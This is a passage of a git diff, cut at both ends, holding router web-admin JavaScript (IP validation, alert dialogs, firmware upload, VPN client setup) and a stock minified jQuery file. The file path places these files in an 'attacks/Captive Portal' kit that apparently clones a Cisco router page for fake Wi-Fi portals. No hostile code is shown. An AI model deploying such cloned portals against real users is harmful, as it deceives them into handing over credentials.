(parseInt(ip4.value) == 1) ) + { + return true; + } + + return false; +} + +function multicastIP(ip1, ip2, ip3, ip4, max,local_ip) // multicast IP, 224.0.0.0 to 239.255.255.max +{ + var strlocalip=new Array(); + + strlocalip=local_ip.split("."); + + if( (parseInt(ip1.value) == strlocalip[0]) + && (parseInt(ip2.value) == strlocalip[1]) + && (parseInt(ip3.value) == strlocalip[2]) + && (parseInt(ip4.value) == strlocalip[3]) ) + { + return true; + } + + if( (parseInt(ip1.value) == 127) + && (parseInt(ip2.value) == 0) + && (parseInt(ip3.value) == 0) + && (parseInt(ip4.value) == 1) ) + { + return true; + } + + if((parseInt(ip1.value)>=224)&&(parseInt(ip1.value)<=239)) + return true; + + + return false; +} + +function Destination_Lan_IP(destip,maskip,ip1, ip2, ip3, ip4,mip1,mip2,mip3,mip4) +{ + var strlocalip=new Array(); + var strlocalmask=new Array(); + + strlocalip=destip.split("."); + strlocalmask=maskip.split("."); + + if(((strlocalip[0] & strlocalmask[0])==(ip1.value & mip1.value)) + && ((strlocalip[1] & strlocalmask[1])==(ip2.value & mip2.value)) + && ((strlocalip[2] & strlocalmask[2])==(ip3.value & mip3.value)) + && ((strlocalip[3] & strlocalmask[3])==(ip4.value & mip4.value))){ + return true; + } + + return false; +} + +// add for checking invalid characters +function is_valid_domain(object, needed, fname) +{ + var msg=""; + var reg = /^[A-Za-z0-9-.]{1,}$/; + var str = object.value; + + msg +=checkBlank(object, fname); + if((msg.length > 1)){ + if(needed) + return msg; + else + return ""; + } + + msg = ""; + if(!reg.test(str)) { + msg = fname + invalid_domain; + } + return msg; +} + +function checkKey(evt) +{ + evt = (evt) ? evt : ((window.event) ? window.event : null) + var srcElement = document.forms[0].elements[fieldIndex]; + var indexs=parseInt(srcElement.name.substr(srcElement.name.length-1,1)); + if(null != evt) + {lastkeypressed = (evt.keyCode) ? evt.keyCode : (evt.which ) ? evt.which : null;} + else + {return false;} + + var bTemp=(lastkeypressed>=112 &&lastkeypressed<=135) || (lastkeypressed>=33 &&lastkeypressed<=40) || lastkeypressed==45 ||lastkeypressed==46 ; + //F1-F24 key={112-135} keycode 34=Next 35=End 36=Home 37=Left 38=Up 39=Right 40=Downkeycode 45=Insert 46=Delete + if(true == ipfield && lastkeypressed!=9 && !bTemp) //tab key=9 + { + if(lastkeypressed==32 || lastkeypressed==190 || lastkeypressed==110 ) + {//keycode 32=space 190=period colon 110=KP_Decimal + if(srcElement.value.length == 0) + { + document.forms[0].elements[fieldIndex].focus(); + return false; + } + if (srcElement.type == 'text') + { + if(lastf == false) + {document.forms[0].elements[fieldIndex + 1].focus();} + return false; + } + + } + else if (lastkeypressed != 8)//keycode 8=BackSpace + { + if(!((lastkeypressed >= 48 && lastkeypressed <= 57 ) || (lastkeypressed >= 96 && lastkeypressed <= 105 ))) + {//keycode 48-57={0-9} 96-105={KP_0-KP_9} + document.forms[0].elements[fieldIndex].focus(); + return false; + } + + } + else if(lastkeypressed == 8) + { + if (srcElement.type == 'text' && srcElement.value.length == 0) + { + if(firstf == false) + {document.forms[0].elements[fieldIndex - 1].focus();bFlag=true;} + return false; + } + } + bIsLicet=true; + } + +} + +function BackSpaceForIExplorer() +{ + var e = document.forms[0].elements[fieldIndex]; + var r =e.createTextRange(); + r.moveStart("character",e.value.length); + r.collapse(true); + r.select(); + bFlag=false; +} + +function setIPfield(formObj,fieldObj) +{ + ipfield = true; + firstf = false; + lastf = false; + bIsLicet=false; + for (var i = 0; i < formObj.elements.length; i++) + { + if (formObj.elements[i].name == fieldObj.name) + { + fieldIndex = i; + break; + } + } + if(navigator.userAgent.match( /MSIE (\d+\.\d+)/) && bFlag == true) + { + BackSpaceForIExplorer(); + } +} + +function NextGetFocus() +{ + var srcElement = document.forms[0].elements[fieldIndex]; + if(bIsLicet && srcElement.value.length == srcElement.size) + { + if(lastf == false) + {document.forms[0].elements[fieldIndex + 1].focus();} + } +} +//add by alex_qian begin + +function isMulticastIP(ip1,ip2,ip3,ip4) +{ + var ip01; + var ip02; + var ip03; + var ip04; + if(isNaN(ip1)) ip01=ip1.value; + else ip01=ip1; + if(isNaN(ip2)) ip01=ip1.value; + else ip02=ip2; + if(isNaN(ip3)) ip01=ip1.value; + else ip03=ip3; + if(isNaN(ip4)) ip01=ip1.value; + else ip04=ip4; + + if( ( isInteger(ip01,224,239,false) ) && + ( isInteger(ip02,0,255,false) ) && + ( isInteger(ip03,0,255,false) ) && + ( isInteger(ip04,1,254) ) ) + return true; + else + return false; +} + +function isEtypeIP(ip1,ip2,ip3,ip4) +{ + var ip01; + var ip02; + var ip03; + var ip04; + if(isNaN(ip1)) ip01=ip1.value; + else ip01=ip1; + if(isNaN(ip2)) ip01=ip1.value; + else ip02=ip2; + if(isNaN(ip3)) ip01=ip1.value; + else ip03=ip3; + if(isNaN(ip4)) ip01=ip1.value; + else ip04=ip4; + + if( ( isInteger(ip01,240,255,false) ) && + ( isInteger(ip02,0,255) ) && + ( isInteger(ip03,0,255,false) ) && + ( isInteger(ip04,1,254,false) ) ) + return true; + else + return false; +} + +function isReservedIP(ip1,ip2,ip3,ip4) +{ + if( ( parseInt_new(ip1)==0 ) && + ( parseInt_new(ip2)==0 ) && + ( parseInt_new(ip3)==0 ) && + ( parseInt_new(ip4)==0 ) ) + return true; + if( parseInt_new(ip1)==127 ) + return true; + if( ( parseInt_new(ip1)==169) && + ( parseInt_new(ip2)==254)) + return true; + return false; +} + +function isM_E_RIP(ip1,ip2,ip3,ip4) +{ + if( ( isMulticastIP(ip1,ip2,ip3,ip4) ) || + ( isEtypeIP(ip1,ip2,ip3,ip4) ) || + ( isReservedIP(ip1,ip2,ip3,ip4) ) ) + return true; + else + return false; +} + +function CheckStr2ip(str) +{ + var ipArray=new Array(); + ipArray = str.split(".",4); + if( (isEipNovalue( ipArray[0],ipArray[1],ipArray[2],ipArray[3] ) ) || + (isReservedIP( ipArray[0],ipArray[1],ipArray[2],ipArray[3] ) ) ) + return true; + else return false; +} + +function isEipNovalue(ip1,ip2,ip3,ip4) //for check var without walue +{ + if( ( isInteger(ip1,240,255,false) ) && + ( isInteger(ip2,0,255) ) && + ( isInteger(ip3,0,255,false) ) && + ( isInteger(ip4,1,254,false) ) ) + return true; + else + return false; +} + + +/* + The following functions are added for new features + Gerry Wu 2009/01/23 +*/ + var isMSIE = navigator.userAgent.indexOf("MSIE") != - 1; + + +function viewTop(obj) +{ + var viewsTop = 0; + + while(obj != null ) + { + // alert("obj=" + obj + "obj.offsetTop =" + obj.offsetTop + "obj.offsetParent=" +obj.offsetParent); + viewsTop += obj.offsetTop * 1 ; + obj = obj.offsetParent; + } + + return viewsTop; +}; + + + +function viewLeft(obj) +{ + var viewsLeft = 0; + + while (obj != null) + { + viewsLeft += obj.offsetLeft * 1 ; + obj = obj.offsetParent; + } + + + return viewsLeft; +}; + +var h = 0; +var w = 0; + +function extendPageSize() +{ + + if (arguments[1]==null) + arguments[1] = 10; + + var obj = document.getElementById(arguments[0]); + if(obj == null) + return; + + h = document.body.clientHeight - viewTop(obj) ; + var factor = isMSIE ? 1 : 2; + var parentWidth = Math.max(obj.parentNode.clientWidth, obj.parentNode.offsetWidth); + var pageAreaWidth = (document.body.clientWidth - viewLeft(obj)); + w = Math.min((parentWidth - factor * arguments[1]), pageAreaWidth); + if (obj.style != null) + { + obj.style.height = h + "px"; + obj.style.width = w + "px"; + obj.style.marginLeft = arguments[1] + "px"; + obj.style.paddingRight = arguments[1] + "px"; + // alert(obj.style.height + obj.style.width + obj.style.marginLeft + obj.style.paddingRight); + } + else + { + obj.height = h + "px"; + obj.width = w + "px"; + } + + + + +}; + +/* +1->ID +2->gap +*/ + +function myExtendHeight() +{ + + if (arguments[1] ==null) + arguments[1] = 0; + var obj = document.getElementById(arguments[0]); + if (obj == null) + return; + var pageBelow = document.getElementById("copyrightline"); + if (pageBelow != null) + arguments[1] += pageBelow.offsetHeight; + var nextHeight = document.body.clientHeight - viewTop(obj) - arguments[1]; + if (obj.style != null) + obj.style.height = nextHeight + "px"; + else + obj.height = nextHeight; + +}; + + + + +var LastContent = null; + +function inewResizeContent(indent) +{ + if (indent != null) + LastContent = indent; + //alert(LastContent); + extendPageSize("newContentArea", LastContent); + +}; + +var routerOnresizeTimer = null; +function inewOnresizeHandler() +{ + //alert("routerOnresizeHandler"); + if (routerOnresizeTimer != null) + clearTimeout(routerOnresizeTimer); + routerOnresizeTimer = setTimeout("inewResizeContent()", 200); +}; + + + +/* Alert Box */ +var ABTRF = "AB_FRAME"; +var ABNoMsg = "  Don't show me this again"; +var ABBtnOK = "
      OK
      "; +var ABBtnCANCEL = "
      Cancel
      "; +var ABBtnYES = "
      Yes
      "; +var ABBtnNO = "
      No
      "; + +//element +var ABTitle; +var ABFile; // current file with +var ABType; // Crit, Info, Warn +var ABMsg; // Message +var ABNOM; // No/Yes Message +var ABBT1; // Button 1 +var ABBT2; // Button 2 +var ABNum; // Message Number / Numbers of Message +var BOX; + + + +function setABox(windowObj, el, ABTitle, ABType, ABMsg, ABBT1, ABBT2) +{ + +BOX = '
      ' + ABTitle + "
      ' + ABMsg.replace(/\n/g,"
      ") + '
      ' + ABBT1 + '' + ABBT2 + '
      '; + + if (document.all) + { + if (windowObj.document.all(el)) + { + windowObj.document.all(el).innerHTML = BOX; + } + } + else if (document.getElementById) + { + if (windowObj.document.getElementById(el) ) + { + windowObj.document.getElementById(el).innerHTML = BOX; + + } + } + disableAllFields(); + /*if(ABNOM != "") + { + var af = document.ABox.NoMsg; + af.disabled = false; + } + else{ABNOM = " ";}*/ +} + + + + + +function ALERT(windowObj, el, ABTitle, ABType, ABMsg, ABBT1, ABBT2 ) +{ + + + if(ABMsg != "") + { + setABox(windowObj, el, ABTitle, ABType, ABMsg, ABBT1, ABBT2); + } + else + { document.forms[0].submit(); } +} + +function rALERT(rTitle, rMsg) +{ + ALERT(parent, "CON", rTitle, "Crit", rMsg, ABBtnOK, ""); + return false; +} + +function rConfirm(rTitle, rMsg) +{ + if (ALERT(parent, "CON", rTitle, "Warn", rMsg, ABBtnYES, ABBtnNO)) + { + //alert("in the rConfirm: true"); + return true; + + } + else + { + //alert("in the rConfirm : false"); + return false; + } + +} +function disableAllFields() +{ + + + /* for ( var i=1; i<=9; i++) + { + var z = parent.document.getElementById('btn' + i); + //alert(z.getAttribute("onClick")); + z.setAttribute('onClick_bak', z.getAttribute('onClick')); + //alert("before:" + z.getAttribute('onClick')); + //z.setAttribute("onClick", "function anonymous() { }"); + //alert("bak=" + z.getAttribute('onClick_bak')); + z.removeAttribute('onClick'); + }*/ + + /* + var e = parent.document.getElementsByTagName('a'); + //alert("e.length= " + e.length); + for(var i=0;i 0) + { + clearTimeout(rtime); + rpc = 0; + } + rload(); + rightframe.document.onmousedown=rnoClick; + top.document.onkeydown=rnoKey; +} + +var rpc = 0; +function rload() +{ + rpc=rpc+1; + + if (rpc > 100) + { + //location.href = rback_page; + clearTimeout(rtime); + return; + } + rsetWidth(self, "rlpc", rpc+"%"); + rsetHTML(self, "rpercent", rpc+"%"); + rtime = setTimeout("rload()",1800);//unit:0.1 second +} + +function rsetHTML(windowObj, el, htmlStr) +{ + if (rightframe.document.all) + { + if (windowObj.rightframe.document.all(el) ) + windowObj.rightframe.document.all(el).innerHTML = htmlStr; + } + else if (rightframe.document.getElementById) + { + if (windowObj.rightframe.document.getElementById(el) ) + windowObj.rightframe.document.getElementById(el).innerHTML = htmlStr; + } +} + +function rsetWidth(windowObj, el, newwidth) +{ + if (rightframe.document.all) + { + if (windowObj.rightframe.document.all(el) ) + windowObj.rightframe.document.all(el).style.width = newwidth ; + } + else if (rightframe.document.getElementById) + { + if (windowObj.rightframe.document.getElementById(el) ) + windowObj.rightframe.document.getElementById(el).style.width = newwidth; + } +} + +function alert_modify_data(idx, active) { + var cf = rightframe.document.forms[0]; + var username = eval("cf.vpn_client_username"+idx); + var password = eval("cf.vpn_client_password"+idx); + var passchange = eval("cf.vpn_client_change"+idx); + var active = eval("cf.vpn_client_enabled"+idx); + + username.value = cf.QVPNusername.value; + password.value = cf.QVPNpassword.value; + if(cf.pass_change[0].checked==true) + passchange.value="1"; + else + passchange.value="0"; + passchange.value = (cf.pass_change[0].checked==true)?1:0; + /* Need set active */ + if(active==0) + active.value=1; + return; +} +function YES_AB() +{ + var cf = rightframe.document.forms[0]; + enableAllFields(); + + if(cf.name == "vpn_main") + { + cf.h_ipsec_select.value = cf.ipsec_select.options[cf.ipsec_select.selectedIndex].value; + cf.todo.value = "tunnel_del"; + cf.submit(); + return true; + } + + + if (cf.name == "firmwareupgrade") + { + if(cf.remote_upgrade_disable.value==1 && cf.remote_ip_in_local.value==0) + { + //alert("Remote Upgrade is disable, you can't upgrade firmware from remote\n"); + rALERT("FirmwareUpgrade", "Remote Upgrade is disable, you can't upgrade firmware from remote\n"); + return false; + } + rstartUpload(); + } + else if(cf.name == "url_filter") + { + var jump_str; + jump_str = "\""+ parent.location + "\""; + jump_str = jump_str.replace("url_filtering.htm","Factorydefaults.htm"); + jump_str = jump_str.substring(1,jump_str.length-1); + parent.location = jump_str; + return true; + } + else if(cf.name=="quickvpnsetup") + { + var username; + for(i=1; i<=5; i++) { + username = eval("cf.vpn_client_username"+i); + if(username.value!=""&&compare_str(username.value,cf.QVPNusername.value)==0) + { + rALERT("Quick_vpn_setup",msg_user_exist); + return; + } + } + for(i=1; i<=5; i++) + { + username = eval("cf.vpn_client_username"+i); + + if(username.value == "") + { + /* default active */ + alert_modify_data(i, 1); + cf.submit(); + return true; + } + } + rALERT("Quick_vpn_setup", msg_qvpn_full); + } + + if (rightframe.document.forms[1] && rightframe.document.forms[1].name== "restorefile") + { + rightframe.document.forms[1].submit(); + return true; + } + + + //cf.todo.value = "proceed"; + cf.submit(); + return true; +} + +function NO_AB() +{ + var jump_str; + + enableAllFields(); + var cf = rightframe.document.forms[0]; + + if (cf.name == "url_filter") + { + jump_str = "\""+ parent.location + "\""; + jump_str = jump_str.replace("url_filtering.htm","Setup_summary.htm"); + jump_str = jump_str.substring(1,jump_str.length-1); + parent.location = jump_str; + return true; + } + + return false; +} diff --git a/attacks/Captive Portal/sites/Cisco_it.portal/js/jquery-2.1.4.min.js b/attacks/Captive Portal/sites/Cisco_it.portal/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/attacks/Captive Portal/sites/Cisco_it.portal/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return 